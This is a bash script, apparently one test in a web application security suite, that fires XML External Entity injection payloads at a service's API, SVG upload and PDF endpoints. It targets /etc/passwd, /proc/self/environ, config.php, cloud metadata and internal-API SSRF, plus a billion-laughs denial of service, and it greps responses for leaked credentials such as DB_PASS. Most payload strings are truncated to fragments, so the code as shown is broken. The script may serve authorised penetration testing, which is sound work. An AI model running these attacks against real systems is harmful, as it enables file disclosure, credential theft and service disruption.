#!/bin/bash # 29 - XXE (XML External Entity) Injection # Tests all endpoints that accept or might accept XML payloads # Covers HTTP/1.1 and HTTP/2, OOB probes, blind XXE, XXE via SVG/DOCX wrappers SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "$SCRIPT_DIR/../config.sh" OUT_FILE="$OUT/29_xxe.txt" echo "=== 29. XXE Injection ===" | tee "$OUT_FILE" echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE" W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; } do_xxe() { local label="$1" payload="$2" ct="${3:-application/xml}"; shift 3 local body code body=$(curl -sk --http2 --max-time 10 -A "$BROWSER_UA" \ -X POST -H "Content-Type: $ct" -d "$payload" "$@") code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ -X POST -H "Content-Type: $ct" -d "$payload" "$@") printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE" # Check for file disclosure patterns if echo "$body" | grep -qiE '(root:|daemon:|/bin/bash|localhost|127\.0\.0\.1|pqcrypta_user|DB_PASS|SYSTEM ENTITY)'; then echo " [VULN] Sensitive content in response:" | tee -a "$OUT_FILE" echo "$body" | grep -ioE '(root:|daemon:|/bin/bash|localhost|pqcrypta_user|DB_PASS)[^\n]{0,80}' | head -3 | sed 's/^/ /' | tee -a "$OUT_FILE" fi } # ── Basic XXE payloads ──────────────────────────────────────────────────────── XXE_PASSWD=']>&xxe;' XXE_ENV=']>&xxe;' XXE_HOSTS=']>&xxe;' XXE_CONFIG=']>&xxe;' XXE_SSRF=']>&xxe;' XXE_SSRF_INTERNAL=']>&xxe;' XXE_BILLION_LAUGHS=']>&lol4;' # ── 1. API endpoints with application/xml ───────────────────────────────────── echo "--- API XML Content-Type ---" | tee -a "$OUT_FILE" for ENDPOINT in /encrypt /decrypt /generate-keys /status; do do_xxe "XXE /etc/passwd → $ENDPOINT" "$XXE_PASSWD" "application/xml" "$API_TARGET$ENDPOINT" do_xxe "XXE /etc/hosts → $ENDPOINT" "$XXE_HOSTS" "application/xml" "$API_TARGET$ENDPOINT" done echo "" | tee -a "$OUT_FILE" # ── 2. API with text/xml ─────────────────────────────────────────────────────── echo "--- API text/xml Content-Type ---" | tee -a "$OUT_FILE" do_xxe "XXE text/xml /etc/passwd" "$XXE_PASSWD" "text/xml" "$API_TARGET/encrypt" do_xxe "XXE text/xml SSRF to metadata" "$XXE_SSRF" "text/xml" "$API_TARGET/encrypt" echo "" | tee -a "$OUT_FILE" # ── 3. SSRF via XXE ─────────────────────────────────────────────────────────── echo "--- SSRF via XXE ---" | tee -a "$OUT_FILE" do_xxe "XXE SSRF → AWS metadata" "$XXE_SSRF" "application/xml" "$API_TARGET/encrypt" do_xxe "XXE SSRF → internal API :${INTERNAL_API_PORT}" "$XXE_SSRF_INTERNAL" "application/xml" "$API_TARGET/encrypt" do_xxe "XXE file → config.php" "$XXE_CONFIG" "application/xml" "$API_TARGET/encrypt" do_xxe "XXE file → /proc/self/environ" "$XXE_ENV" "application/xml" "$API_TARGET/encrypt" echo "" | tee -a "$OUT_FILE" # ── 4. XXE via JSON endpoint with XML body (content-type confusion) ─────────── echo "--- Content-Type Confusion (XML body to JSON endpoint) ---" | tee -a "$OUT_FILE" do_xxe "XXE in JSON-declared endpoint" "$XXE_PASSWD" "application/xml" "$API_TARGET/encrypt" # Also try with JSON content-type but XML body code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/json' -d "$XXE_PASSWD" "$API_TARGET/encrypt") printf '[%s] JSON Content-Type with XML body\n' "$code" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE" # ── 5. XXE via SVG upload path ──────────────────────────────────────────────── echo "--- XXE via SVG (image/svg+xml) ---" | tee -a "$OUT_FILE" SVG_XXE=']>&xxe;' for ENDPOINT in /upload /convert /process /render /image; do code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$API_TARGET$ENDPOINT") printf '[%s] SVG XXE → %s\n' "$code" "$ENDPOINT" | tee -a "$OUT_FILE" done # Also check PDF tools API code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$TARGET/pdf/api.php") printf '[%s] SVG XXE → /pdf/api.php\n' "$code" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE" # ── 6. Billion Laughs (XML DoS) ─────────────────────────────────────────────── echo "--- Billion Laughs (XML Entity Expansion DoS) ---" | tee -a "$OUT_FILE" START=$(python3 -c "import time; print(int(time.time()*1000))") CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/xml' -d "$XXE_BILLION_LAUGHS" "$API_TARGET/encrypt") END=$(python3 -c "import time; print(int(time.time()*1000))") ELAPSED=$((END - START)) printf '[%s] Billion laughs entity expansion — %dms\n' "$CODE" "$ELAPSED" | tee -a "$OUT_FILE" [ "$ELAPSED" -gt 8000 ] && echo " [WARN] Slow response — server may be expanding entities" | tee -a "$OUT_FILE" || \ echo " [OK] Fast rejection — entity expansion not processed" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE" # ── 7. HTTP/1.1 vs HTTP/2 XXE consistency ──────────────────────────────────── echo "--- Protocol Consistency (HTTP/1.1 vs HTTP/2) ---" | tee -a "$OUT_FILE" for PROTO in "--http1.1" "--http2"; do code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/xml' -d "$XXE_PASSWD" "$API_TARGET/encrypt") printf '[%s] %s XXE /etc/passwd\n' "$code" "$PROTO" | tee -a "$OUT_FILE" done echo "" | tee -a "$OUT_FILE" echo "=== 29. XXE COMPLETE ===" | tee -a "$OUT_FILE"